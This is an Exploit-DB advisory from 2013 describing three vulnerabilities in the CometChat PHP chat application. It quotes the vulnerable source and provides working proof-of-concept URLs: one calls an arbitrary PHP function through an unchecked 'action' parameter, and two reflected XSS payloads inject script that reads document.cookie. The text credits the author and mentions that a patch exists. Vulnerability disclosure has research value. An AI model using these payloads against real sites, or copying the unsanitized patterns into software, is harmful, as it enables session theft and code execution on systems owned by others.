Cometchat Application – Multiple Vulnerabilities
##################################### > < > #### #### ### #### ### < > # # # # # # ### < > # #### ### # # ### < > # # ## # # ### < > #### #### # # #### ### < ### > #### #### # #### # ##### ### < > # # # # # # # # ### < > #### #### # # # # # < > # # # # # # # ### < > #### # #### #### # # ### < > < ##################################### # Exploit-DB Note 20-02-2013: # A security patch appears to have been released to address the issue: # http://www.cometchat.com/blog/cometchat-critical-security-update/ Info: All Cometchat Application Multiple Vulnerabilities Cometchat is a application which can be used in many site for example phpFox, Wordpress, Joomla, MyBB, Elgg etc. Homepage : http://www.cometchat.com Author: z3r0sPlOiT Date: 17.02.2013 Special Thanks: I would like to thank B127Y. He already found two vulnerabilities for Cometchat and because of this I started my research. 1.)Code Execution P0C (plugins/otavchat/invite.php) 194: call_user_func call_user_func($_GET['action']); Can use all php functions and cometchat function without arguments Live Demo: http://server/cometchat/plugins/otavchat/invite.php?action=phpinfo 2.)XSS P0C (plugins/otavchat/invite.php) 137: echo echo <<<EOD <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> <title>{$otavchat_language[18]}</title> <link type="text/css" rel="stylesheet" media="all" href="https://www.exploit-db.com/exploits/24515/themes/{$theme}/otavchat{$rtl}.css" /> </head> <body> <form method="post" action="invite.php?action=inviteusers"> <div class="container2"> <div style="background-color:#3E92BD;border-bottom:1px solid #11648F;"> <div class="invitetitle">{$otavchat_language[16]}</div><div style="float:right"><input type=submit value="{$otavchat_language[17]}" class="invitebutton"></div> <div style="clear:both"></div> </div> <div style="height:162px;overflow-x:hidden;overflow-y:scroll;clear:both;padding-left:5px;padding-top:5px;padding-bottom:5px;">{$s['available']}{$s['away']}{$s['offline']}</div> </div> <input type="hidden" name="roomid" value="$id"> </form> </body> </html> EOD; 87: $id = $_GET['roomid']; Live Demo: http://server/cometchat/plugins/otavchat/invite.php?roomid="><script>alert(document.cookie)</script> 3. XXS P0C (plugins/filetransfer/index.php) 87: echo echo <<<EOD <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> <title>{$filetransfer_language[0]}</title> <link type="text/css" rel="stylesheet" media="all" href="https://www.exploit-db.com/exploits/24515/themes/{$theme}/filetransfer{$rtl}.css" /> <script type="text/javascript" src="https://www.exploit-db.com/exploits/24515/styleinput.js"></script> </head> <body><form name="upload" action="upload.php" method="post" enctype="multipart/form-data"> <div class="container"> <div class="container_title">{$filetransfer_language[1]}</div> <div class="container_body"> <div class="container_body_1">{$filetransfer_language[2]}</div> <div id="select-0" class="container_body_2"><label class="cabinet"><input type="file" class="file" name="Filedata" onchange="javascript:document.upload.submit()"/></label></div> <div class="container_body_3">{$filetransfer_language[4]}</div> <div style="clear:both"></div> <div class="container_body_4">{$filetransfer_language[3]}</div> <input type="hidden" name="to" value="{$toId}"> <input type="hidden" name="chatroommode" value="{$chatroommode}"> </div> </div> </div> <script> SI.Files.stylizeAll(); </script> </form> </body> </html> EOD; 79: $toId = $_GET['id']; Live Demo: http://server/cometchat/plugins/filetransfer/index.php?id="><script>alert(document.cookie)</script> |